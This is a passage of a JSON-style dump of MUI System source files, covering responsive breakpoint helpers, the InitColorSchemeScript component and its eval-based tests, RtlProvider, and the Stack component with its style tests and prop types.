    "content": "import { Breakpoints, Breakpoint } from '../createBreakpoints/createBreakpoints';\n\nexport const filterBreakpointKeys = (breakpointsKeys: Breakpoint[], responsiveKeys: string[]) =>\n  breakpointsKeys.filter((key: string) => responsiveKeys.includes(key));\n\ninterface Iterator<T> {\n  (appendStyle: (responsiveStyles: Record<string, any>, style: object) => void, value: T): void;\n}\n\nexport const traverseBreakpoints = <T = unknown>(\n  breakpoints: Breakpoints,\n  responsive: T | T[] | Record<string, any> | undefined,\n  iterator: Iterator<T>,\n) => {\n  const smallestBreakpoint = breakpoints.keys[0]; // the keys is sorted from smallest to largest by `createBreakpoints`.\n\n  if (Array.isArray(responsive)) {\n    responsive.forEach((breakpointValue, index) => {\n      iterator((responsiveStyles, style) => {\n        if (index <= breakpoints.keys.length - 1) {\n          if (index === 0) {\n            Object.assign(responsiveStyles, style);\n          } else {\n            responsiveStyles[breakpoints.up(breakpoints.keys[index])] = style;\n          }\n        }\n      }, breakpointValue as T);\n    });\n  } else if (responsive && typeof responsive === 'object') {\n    // prevent null\n    // responsive could be a very big object, pick the smallest responsive values\n\n    const keys =\n      Object.keys(responsive).length > breakpoints.keys.length\n        ? breakpoints.keys\n        : filterBreakpointKeys(breakpoints.keys, Object.keys(responsive));\n\n    keys.forEach((key) => {\n      if (breakpoints.keys.includes(key as Breakpoint)) {\n        // @ts-ignore already checked that responsive is an object\n        const breakpointValue: T = responsive[key];\n        if (breakpointValue !== undefined) {\n          iterator((responsiveStyles, style) => {\n            if (smallestBreakpoint === key) {\n              Object.assign(responsiveStyles, style);\n            } else {\n              responsiveStyles[breakpoints.up(key as Breakpoint)] = style;\n            }\n          }, breakpointValue);\n        }\n      }\n    });\n  } else if (typeof responsive === 'number' || typeof responsive === 'string') {\n    iterator((responsiveStyles, style) => {\n      Object.assign(responsiveStyles, style);\n    }, responsive);\n  }\n};\n"
  },
  {
    "path": "packages/mui-system/src/InitColorSchemeScript/InitColorSchemeScript.test.js",
    "content": "/* eslint-disable no-eval */\nimport { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport InitColorSchemeScript from '@mui/system/InitColorSchemeScript';\nimport {\n  DEFAULT_ATTRIBUTE,\n  DEFAULT_MODE_STORAGE_KEY,\n  DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n} from './InitColorSchemeScript';\n\ndescribe('InitColorSchemeScript', () => {\n  const { render } = createRenderer();\n  let originalMatchmedia;\n  let storage = {};\n  const createMatchMedia = (matches) => () => ({\n    matches,\n    addEventListener: () => {},\n    removeEventListener: () => {},\n  });\n\n  beforeEach(() => {\n    // Create mocks of localStorage getItem and setItem functions\n    Object.defineProperty(globalThis, 'localStorage', {\n      value: {\n        getItem: (key) => storage[key],\n      },\n      configurable: true,\n    });\n\n    // clear the localstorage\n    storage = {};\n    document.documentElement.removeAttribute(DEFAULT_ATTRIBUTE);\n    window.matchMedia = createMatchMedia(false);\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  it('should set `light` color scheme to body', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n\n    const { container } = render(<InitColorSchemeScript />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('foo');\n  });\n\n  it('should set `light` color scheme with class', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n    document.documentElement.classList.remove(...document.documentElement.classList);\n\n    const { container } = render(<InitColorSchemeScript attribute=\"class\" />);\n    expect(container.firstChild.textContent.replace(/\\s/g, '')).not.to.include(\n      \"setAttribute('.%s',colorScheme)\",\n    );\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.classList.value).to.equal('foo');\n    document.documentElement.classList.remove('foo'); // cleanup\n  });\n\n  it('should set `light` color scheme with data', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n\n    const { container } = render(<InitColorSchemeScript attribute=\"data\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-foo')).to.equal('');\n  });\n\n  it('should set custom color scheme to body with custom attribute', () => {\n    storage['mui-foo-mode'] = 'light';\n    storage[`mui-bar-color-scheme-light`] = 'flash';\n\n    const { container } = render(\n      <InitColorSchemeScript\n        modeStorageKey=\"mui-foo-mode\"\n        colorSchemeStorageKey=\"mui-bar-color-scheme\"\n        attribute=\"data-mui-baz-scheme\"\n      />,\n    );\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-mui-baz-scheme')).to.equal('flash');\n  });\n\n  it('should switch between light and dark with class attribute', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'bar';\n\n    const { container, rerender } = render(<InitColorSchemeScript attribute=\".mode-%s\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.classList.value).to.equal('mode-foo');\n\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n    rerender(<InitColorSchemeScript attribute=\".mode-%s\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.classList.value).to.equal('mode-bar');\n\n    document.documentElement.classList.remove('mode-bar'); // cleanup\n  });\n\n  it('should switch between light and dark with data-%s attribute', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'bar';\n\n    const { container, rerender } = render(<InitColorSchemeScript attribute=\"[data-mode-%s]\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-mode-foo')).to.equal('');\n    expect(document.documentElement.getAttribute('data-mode-bar')).to.equal(null);\n\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n    rerender(<InitColorSchemeScript attribute=\"[data-mode-%s]\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-mode-bar')).to.equal('');\n    expect(document.documentElement.getAttribute('data-mode-foo')).to.equal(null);\n  });\n\n  it('should switch between light and dark with data=\"%s\" attribute', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'light';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'foo';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'bar';\n\n    const { container, rerender } = render(<InitColorSchemeScript attribute=\"[data-mode='%s']\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-mode')).to.equal('foo');\n\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n    rerender(<InitColorSchemeScript attribute=\"[data-mode='%s']\" />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute('data-mode')).to.equal('bar');\n  });\n\n  it('should set `dark` color scheme to body', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'dark';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'bar';\n\n    const { container } = render(<InitColorSchemeScript />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('bar');\n  });\n\n  it('should set dark color scheme to body, given prefers-color-scheme is `dark`', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'system';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-dark`] = 'dim';\n    window.matchMedia = createMatchMedia(true);\n\n    const { container } = render(<InitColorSchemeScript />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('dim');\n  });\n\n  it('should set light color scheme to body, given prefers-color-scheme is NOT `dark`', () => {\n    storage[DEFAULT_MODE_STORAGE_KEY] = 'system';\n    storage[`${DEFAULT_COLOR_SCHEME_STORAGE_KEY}-light`] = 'bright';\n    window.matchMedia = createMatchMedia(false);\n\n    const { container } = render(<InitColorSchemeScript />);\n    eval(container.firstChild.textContent);\n    expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('bright');\n  });\n\n  describe('system preference', () => {\n    it('should set dark color scheme to body, given prefers-color-scheme is `dark`', () => {\n      window.matchMedia = createMatchMedia(true);\n\n      const { container } = render(<InitColorSchemeScript defaultDarkColorScheme=\"trueDark\" />);\n      eval(container.firstChild.textContent);\n      expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('trueDark');\n    });\n\n    it('should set light color scheme to body, given prefers-color-scheme is NOT `dark`', () => {\n      window.matchMedia = createMatchMedia(false);\n\n      const { container } = render(<InitColorSchemeScript defaultLightColorScheme=\"yellow\" />);\n      eval(container.firstChild.textContent);\n      expect(document.documentElement.getAttribute(DEFAULT_ATTRIBUTE)).to.equal('yellow');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/InitColorSchemeScript/InitColorSchemeScript.tsx",
    "content": "export const DEFAULT_MODE_STORAGE_KEY = 'mode';\nexport const DEFAULT_COLOR_SCHEME_STORAGE_KEY = 'color-scheme';\nexport const DEFAULT_ATTRIBUTE = 'data-color-scheme';\n\nexport interface InitColorSchemeScriptProps {\n  /**\n   * The default mode when the storage is empty (user's first visit).\n   * @default 'system'\n   */\n  defaultMode?: 'system' | 'light' | 'dark' | undefined;\n  /**\n   * The default color scheme to be used on the light mode.\n   * @default 'light'\n   */\n  defaultLightColorScheme?: string | undefined;\n  /**\n   * The default color scheme to be used on the dark mode.\n   * * @default 'dark'\n   */\n  defaultDarkColorScheme?: string | undefined;\n  /**\n   * The node (provided as string) used to attach the color-scheme attribute.\n   * @default 'document.documentElement'\n   */\n  colorSchemeNode?: string | undefined;\n  /**\n   * localStorage key used to store `mode`.\n   * @default 'mode'\n   */\n  modeStorageKey?: string | undefined;\n  /**\n   * localStorage key used to store `colorScheme`.\n   * @default 'color-scheme'\n   */\n  colorSchemeStorageKey?: string | undefined;\n  /**\n   * DOM attribute for applying color scheme.\n   * @default 'data-color-scheme'\n   * @example '.mode-%s' // for class based color scheme\n   * @example '[data-mode-%s]' // for data-attribute without '='\n   */\n  attribute?: 'class' | 'data' | string | undefined;\n  /**\n   * Nonce string to pass to the inline script for CSP headers.\n   */\n  nonce?: string | undefined;\n}\n\nexport default function InitColorSchemeScript(options?: InitColorSchemeScriptProps) {\n  const {\n    defaultMode = 'system',\n    defaultLightColorScheme = 'light',\n    defaultDarkColorScheme = 'dark',\n    modeStorageKey = DEFAULT_MODE_STORAGE_KEY,\n    colorSchemeStorageKey = DEFAULT_COLOR_SCHEME_STORAGE_KEY,\n    attribute: initialAttribute = DEFAULT_ATTRIBUTE,\n    colorSchemeNode = 'document.documentElement',\n    nonce,\n  } = options || {};\n  let setter = '';\n  let attribute = initialAttribute;\n  if (initialAttribute === 'class') {\n    attribute = '.%s';\n  }\n  if (initialAttribute === 'data') {\n    attribute = '[data-%s]';\n  }\n  if (attribute.startsWith('.')) {\n    const selector = attribute.substring(1);\n    setter += `${colorSchemeNode}.classList.remove('${selector}'.replace('%s', light), '${selector}'.replace('%s', dark));\n      ${colorSchemeNode}.classList.add('${selector}'.replace('%s', colorScheme));`;\n  }\n  const matches = attribute.match(/\\[([^[\\]]+)\\]/); // case [data-color-scheme='%s'] or [data-color-scheme]\n  if (matches) {\n    const [attr, value] = matches[1].split('=');\n    if (!value) {\n      setter += `${colorSchemeNode}.removeAttribute('${attr}'.replace('%s', light));\n      ${colorSchemeNode}.removeAttribute('${attr}'.replace('%s', dark));`;\n    }\n    setter += `\n      ${colorSchemeNode}.setAttribute('${attr}'.replace('%s', colorScheme), ${value ? `${value}.replace('%s', colorScheme)` : '\"\"'});`;\n  } else if (attribute !== '.%s') {\n    setter += `${colorSchemeNode}.setAttribute('${attribute}', colorScheme);`;\n  }\n\n  return (\n    <script\n      key=\"mui-color-scheme-init\"\n      suppressHydrationWarning\n      nonce={typeof window === 'undefined' ? nonce : ''}\n      // eslint-disable-next-line react/no-danger\n      dangerouslySetInnerHTML={{\n        __html: `(function() {\ntry {\n  let colorScheme = '';\n  const mode = localStorage.getItem('${modeStorageKey}') || '${defaultMode}';\n  const dark = localStorage.getItem('${colorSchemeStorageKey}-dark') || '${defaultDarkColorScheme}';\n  const light = localStorage.getItem('${colorSchemeStorageKey}-light') || '${defaultLightColorScheme}';\n  if (mode === 'system') {\n    // handle system mode\n    const mql = window.matchMedia('(prefers-color-scheme: dark)');\n    if (mql.matches) {\n      colorScheme = dark\n    } else {\n      colorScheme = light\n    }\n  }\n  if (mode === 'light') {\n    colorScheme = light;\n  }\n  if (mode === 'dark') {\n    colorScheme = dark;\n  }\n  if (colorScheme) {\n    ${setter}\n  }\n} catch(e){}})();`,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-system/src/InitColorSchemeScript/index.ts",
    "content": "export { default } from './InitColorSchemeScript';\nexport type { InitColorSchemeScriptProps } from './InitColorSchemeScript';\n"
  },
  {
    "path": "packages/mui-system/src/RtlProvider/index.d.ts",
    "content": "import * as React from 'react';\n\ninterface RtlProviderProps {\n  children?: React.ReactNode;\n  value?: boolean | undefined;\n}\n\ndeclare const RtlProvider: React.FC<RtlProviderProps>;\nexport const useRtl: () => boolean;\n\nexport default RtlProvider;\n"
  },
  {
    "path": "packages/mui-system/src/RtlProvider/index.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\n\nconst RtlContext = React.createContext();\n\nfunction RtlProvider({ value, ...props }) {\n  return <RtlContext.Provider value={value ?? true} {...props} />;\n}\n\nRtlProvider.propTypes = {\n  children: PropTypes.node,\n  value: PropTypes.bool,\n};\n\nexport const useRtl = () => {\n  const value = React.useContext(RtlContext);\n  return value ?? false;\n};\n\nexport default RtlProvider;\n"
  },
  {
    "path": "packages/mui-system/src/Stack/Stack.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Stack from '@mui/system/Stack';\nimport createTheme from '@mui/system/createTheme';\nimport { style } from './createStack';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Stack />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Stack />, () => ({\n    render,\n    inheritComponent: 'div',\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiStack',\n    skip: ['componentProp', 'rootClass', 'themeVariants', 'themeStyleOverrides'],\n  }));\n\n  const theme = createTheme();\n\n  it('should handle breakpoints with a missing key', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: { xs: 'column', sm: 'row' },\n          spacing: { xs: 1, sm: 2, md: 4 },\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      '@media (min-width:0px)': {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '8px',\n        },\n        flexDirection: 'column',\n      },\n      [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: '16px',\n        },\n        flexDirection: 'row',\n      },\n      [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: '32px',\n        },\n      },\n      display: 'flex',\n      flexDirection: 'column',\n    });\n  });\n\n  it('should handle direction with multiple keys and spacing with one', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: { sm: 'column', md: 'row' },\n          spacing: 2,\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '16px',\n        },\n        flexDirection: 'column',\n      },\n      [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginLeft: '16px',\n        },\n        flexDirection: 'row',\n      },\n      display: 'flex',\n      flexDirection: 'column',\n    });\n  });\n\n  it('should handle spacing with multiple keys and direction with one', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: 'column',\n          spacing: { sm: 2, md: 4 },\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '16px',\n        },\n      },\n      [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '32px',\n        },\n      },\n      display: 'flex',\n      flexDirection: 'column',\n    });\n  });\n\n  it('should handle spacing with multiple keys and null values', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: 'column',\n          spacing: { sm: 2, md: 0, lg: 4 },\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '16px',\n        },\n      },\n      [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '0px',\n        },\n      },\n      [`@media (min-width:${theme.breakpoints.values.lg}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '32px',\n        },\n      },\n      display: 'flex',\n      flexDirection: 'column',\n    });\n  });\n\n  it('should handle flat params', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: 'row',\n          spacing: 3,\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      '& > :not(style):not(style)': {\n        margin: 0,\n      },\n      '& > :not(style) ~ :not(style)': {\n        marginLeft: '24px',\n      },\n      display: 'flex',\n      flexDirection: 'row',\n    });\n  });\n\n  it('should respect the theme breakpoints order', () => {\n    expect(\n      style({\n        ownerState: {\n          direction: { xs: 'column' },\n          spacing: { lg: 2, xs: 1 },\n        },\n        theme,\n      }),\n    ).to.deep.equal({\n      '@media (min-width:0px)': {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '8px',\n        },\n        flexDirection: 'column',\n      },\n      [`@media (min-width:${theme.breakpoints.values.lg}px)`]: {\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '16px',\n        },\n      },\n      display: 'flex',\n      flexDirection: 'column',\n    });\n  });\n\n  describe('prop: direction', () => {\n    it('should generate correct direction given string values', () => {\n      expect(\n        style({\n          ownerState: {\n            direction: 'column-reverse',\n            spacing: 1,\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginBottom: '8px',\n        },\n        display: 'flex',\n        flexDirection: 'column-reverse',\n      });\n    });\n\n    it('should generate correct responsive styles regardless of breakpoints order', () => {\n      expect(\n        style({\n          ownerState: {\n            direction: { sm: 'row', xs: 'column' },\n            spacing: { xs: 1, sm: 2, md: 3 },\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        '@media (min-width:0px)': {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '8px',\n          },\n          flexDirection: 'column',\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '16px',\n          },\n          flexDirection: 'row',\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '24px',\n          },\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n\n    it('should generate correct direction even though breakpoints are not fully provided', () => {\n      expect(\n        style({\n          ownerState: {\n            direction: { lg: 'row' },\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        [`@media (min-width:${theme.breakpoints.values.lg}px)`]: {\n          flexDirection: 'row',\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n\n    it('should place correct margin direction even though breakpoints are not fully provided', () => {\n      expect(\n        style({\n          ownerState: {\n            direction: { lg: 'row' },\n            spacing: { xs: 0, md: 2, xl: 4 },\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '0px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '16px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.lg}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '16px',\n          },\n          flexDirection: 'row',\n        },\n        [`@media (min-width:${theme.breakpoints.values.xl}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '32px',\n          },\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n\n      expect(\n        style({\n          ownerState: {\n            direction: { lg: 'column', sm: 'row' },\n            spacing: { md: 2, xl: 4, xs: 0 },\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        [`@media (min-width:${theme.breakpoints.values.xs}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '0px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '0px',\n          },\n          flexDirection: 'row',\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginLeft: '16px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.lg}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '16px',\n          },\n          flexDirection: 'column',\n        },\n        [`@media (min-width:${theme.breakpoints.values.xl}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '32px',\n          },\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n  });\n\n  describe('prop: spacing', () => {\n    it('should generate correct responsive styles regardless of breakpoints order', () => {\n      expect(\n        style({\n          ownerState: {\n            direction: 'column',\n            spacing: { sm: 2, md: 3, xs: 1 },\n          },\n          theme,\n        }),\n      ).to.deep.equal({\n        '@media (min-width:0px)': {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '8px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.sm}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '16px',\n          },\n        },\n        [`@media (min-width:${theme.breakpoints.values.md}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '24px',\n          },\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n\n    it('should generate correct styles if custom breakpoints are provided in theme', () => {\n      const customTheme = createTheme({\n        breakpoints: {\n          values: {\n            smallest: 0,\n            small: 375,\n            mobile: 600,\n            tablet: 992,\n            desktop: 1200,\n          },\n        },\n      });\n\n      expect(\n        style({\n          ownerState: {\n            direction: 'column',\n            spacing: 4,\n          },\n          theme: customTheme,\n        }),\n      ).to.deep.equal({\n        '& > :not(style):not(style)': {\n          margin: 0,\n        },\n        '& > :not(style) ~ :not(style)': {\n          marginTop: '32px',\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n\n    it('should generate correct responsive styles if custom responsive spacing values are provided', () => {\n      const customTheme = createTheme({\n        breakpoints: {\n          values: {\n            smallest: 0,\n            small: 375,\n            mobile: 600,\n            tablet: 992,\n            desktop: 1200,\n          },\n        },\n      });\n\n      expect(\n        style({\n          ownerState: {\n            direction: 'column',\n            spacing: { small: 4 },\n          },\n          theme: customTheme,\n        }),\n      ).to.deep.equal({\n        [`@media (min-width:${customTheme.breakpoints.values.small}px)`]: {\n          '& > :not(style):not(style)': {\n            margin: 0,\n          },\n          '& > :not(style) ~ :not(style)': {\n            marginTop: '32px',\n          },\n        },\n        display: 'flex',\n        flexDirection: 'column',\n      });\n    });\n\n    it('should list responsive styles in correct order', () => {\n      const styles = style({\n        ownerState: {\n          direction: { xs: 'column', lg: 'row' },\n          spacing: { xs: 0, md: 2, xl: 4 },\n        },\n        theme,\n      });\n      const keysForResponsiveStyles = Object.keys(styles).filter((prop) => prop.includes('@media'));\n      expect(keysForResponsiveStyles).to.deep.equal([\n        '@media (min-width:0px)',\n        '@media (min-width:900px)',\n        '@media (min-width:1200px)',\n        '@media (min-width:1536px)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/Stack/Stack.tsx",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport createStack from './createStack';\n/**\n *\n * Demos:\n *\n * - [Stack (Material UI)](https://mui.com/material-ui/react-stack/)\n * - [Stack (MUI System)](https://mui.com/system/react-stack/)\n *\n * API:\n *\n * - [Stack API](https://mui.com/system/api/stack/)\n */\nconst Stack = createStack();\n\nStack.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction: PropTypes.oneOfType([\n    PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n    PropTypes.arrayOf(PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row'])),\n    PropTypes.object,\n  ]),\n  /**\n   * Add an element between each child.\n   */\n  divider: PropTypes.node,\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop, which allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * If `true`, the CSS flexbox `gap` is used instead of applying `margin` to children.\n   *\n   * While CSS `gap` removes the [known limitations](https://mui.com/joy-ui/react-stack/#limitations),\n   * it is not fully supported in some browsers. We recommend checking https://caniuse.com/?search=flex%20gap before using this flag.\n   *\n   * To enable this flag globally, follow the theme's default props configuration.\n   * @default false\n   */\n  useFlexGap: PropTypes.bool,\n} as any;\n\nexport default Stack;\n"
  },
  {
    "path": "packages/mui-system/src/Stack/StackProps.ts",
    "content": "import * as React from 'react';\nimport { OverrideProps } from '@mui/types';\nimport { ResponsiveStyleValue, SxProps } from '../styleFunctionSx';\nimport { Theme } from '../createTheme';\n\nexport interface StackBaseProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction?: ResponsiveStyleValue<'row' | 'row-reverse' | 'column' | 'column-reverse'> | undefined;\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<number | string> | undefined;\n  /**\n   * Add an element between each child.\n   */\n  divider?: React.ReactNode;\n  /**\n   * If `true`, the CSS flexbox `gap` is used instead of applying `margin` to children.\n   *\n   * While CSS `gap` removes the [known limitations](https://mui.com/joy-ui/react-stack/#limitations),\n   * it is not fully supported in some browsers. We recommend checking https://caniuse.com/?search=flex%20gap before using this flag.\n   *\n   * To enable this flag globally, follow the theme's default props configuration.\n   * @default false\n   */\n  useFlexGap?: boolean | undefined;\n}\nexport interface StackTypeMap<\n  AdditionalProps = {},\n  DefaultComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps &\n    StackBaseProps & {\n      /**\n       * The system prop, which allows defining system overrides as well as additional CSS styles.\n       */\n      sx?: SxProps<Theme> | undefined;\n    };\n  defaultComponent: DefaultComponent;\n}\n\nexport type StackProps<\n  RootComponent extends React.ElementType = 